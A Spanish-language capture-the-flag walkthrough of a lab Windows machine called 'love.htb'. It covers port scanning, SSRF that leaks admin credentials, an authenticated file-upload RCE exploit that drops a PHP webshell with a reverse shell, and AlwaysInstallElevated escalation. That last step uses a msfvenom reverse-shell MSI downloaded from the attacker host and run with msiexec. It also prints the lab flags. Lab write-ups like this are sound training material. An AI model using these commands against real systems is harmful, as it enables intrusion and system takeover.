Fase 1: Reconocimiento (Escaneo de Puertos)
Comenzamos realizando un escaneo completo de los puertos y servicios expuestos de la máquina objetivo (IP del Lab: 10.129.48.103) para trazar la superficie de ataque.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.48.103
Resultados Clave de Nmap
El escaneo revela varios puertos abiertos en un host de Windows 10:
- Puerto 80 (HTTP): Servidor Apache que aloja una aplicación de sistema de votación (
Voting System using PHP). - Puerto 443 (HTTPS): Retorna un error
403 Forbidden. Al examinar los detalles del certificado SSL, descubrimos el nombre del subdominio de desarrollo:staging.love.htb. - Puerto 445 (SMB): Microsoft-DS Windows 10 Pro.
- Puerto 5000 (HTTP): Retorna un error
403 Forbidden. - Puerto 5985 (WinRM): Servicio de administración remota de Windows.
Fase 2: Descubrimiento y Explotación de SSRF
1. Configuración de Hosts locales
Agregamos el dominio principal y el subdominio descubierto a nuestro archivo /etc/hosts en Kali para poder resolver las solicitudes HTTP:
sudo nano /etc/hosts
Visitamos el portal principal en http://love.htb y observamos un formulario de login ordinario para el sistema de votación:
2. Enumeración Web con Gobuster
Realizamos fuerza bruta de directorios en el host principal:
gobuster dir -e -u http://love.htb -w /usr/share/wordlists/dirb/common.txt
3. El Subdominio Staging (Bypass de Restricciones por SSRF)
Navegamos a la dirección del subdominio de desarrollo: http://staging.love.htb. Nos encontramos con una aplicación de escaneo de archivos maliciosos (“Free File Scanner”):
Hacemos clic en la opción “Demo” y nos redirige a una herramienta de utilidad interna en /beta.php que nos permite indicarle una URL para que el servidor la escanee:
Este formulario es vulnerable a Server-Side Request Forgery (SSRF). Dado que las peticiones se realizan localmente desde el propio servidor Windows, podemos usarlas para acceder al puerto restringido 5000 (el cual nos daba 403 Forbidden externamente).
Ingresamos la dirección interna http://127.0.0.1:5000 y realizamos el envío del formulario:
El portal web de staging procesa la petición y nos devuelve el panel interno de contraseñas de la base de datos local, revelando las credenciales administrativas:
- Usuario:
admin - Contraseña:
@LoveIsInTheAir!!!!
Fase 3: Intrusión y Acceso Inicial
1. Acceso al Panel de Administración
Utilizamos las credenciales obtenidas para iniciar sesión en la administración de la aplicación de votación a través de http://love.htb/admin/:
2. Explotación de RCE Autenticado
La versión de Voting System 1.0 instalada posee una vulnerabilidad de ejecución remota de código (RCE) autenticada al procesar las imágenes de perfil de los candidatos. Buscamos y descargamos un exploit en Python para automatizar el compromiso:
Ejecutamos el script de explotación apuntando a la IP objetivo y configurando nuestra dirección de escucha en Kali (10.10.14.219 y puerto 4444):
python exploit.py -t love.htb -i 10.10.14.219 -r 4444
El exploit sube una webshell de PHP maliciosa y ejecuta un comando que nos abre una consola del sistema como la usuaria local phoebe.
3. Obtención de la Flag de Usuario
Navegamos a la carpeta de perfil de Phoebe y leemos su flag:
cd C:\Users\Phoebe\Desktop
dir
type user.txt
- Flag de Usuario (
user.txt):a97605580c2554d2c54d304d786ffa9c
Fase 4: Escalada de Privilegios a SYSTEM
1. Comprobación de Directivas de Instalación Elevadas
Tratamos de acceder directamente a la carpeta del perfil de Administrator pero el sistema nos bloquea. Realizamos una enumeración del sistema buscando configuraciones inseguras y consultamos el registro de Windows buscando la política AlwaysInstallElevated:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
La política de registro responde con 0x1 (activa) para HKLM (y se confirma que también está activa para HKCU). Esta configuración permite a cualquier usuario regular instalar un archivo .msi utilizando los privilegios elevados de administrador del servicio Windows Installer (NT AUTHORITY\SYSTEM).
2. Generación del Payload MSI con MSFvenom
Generamos un payload malicioso en formato instalador de Windows (.msi) con msfvenom configurando una shell reversa TCP hacia nuestra máquina atacante:
sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f msi -o reverse.msi
Montamos un servidor web temporal con Python para transferir el archivo a la máquina víctima:
python3 -m http.server 8000
3. Descarga y Ejecución Elevada
Desde la terminal de la máquina víctima, descargamos el instalador usando wget y procedemos a ejecutar la instalación de manera silenciosa y no interactiva mediante msiexec:
wget 10.10.14.219:8000/reverse.msi -o reverse.msi
msiexec /quiet /i reverse.msi
Al ejecutarse el instalador, el servicio de Windows Installer levanta el binario y ejecuta el payload en memoria bajo la cuenta administrativa de SYSTEM, enviándonos de vuelta una consola interactiva elevada a nuestro listener de netcat.
4. Lectura de la Flag Final (root.txt)
Navegamos a la carpeta personal del Administrador del sistema Windows y leemos la bandera final de compromiso total:
cd C:\Users\Administrator\Desktop
type root.txt
- Flag de Administrador (
root.txt):6703b98dab1a2e3862cddee6b5fc9b23
Fuentes y Referencias
- AlwaysInstallElevated Privilege Escalation: Explicación técnica de la escalada abusando de las políticas del Windows Installer.
- Voting System 1.0 RCE Exploit (Exploit-DB): Código de exploit original para explotar la subida maliciosa de archivos en el perfil de candidato.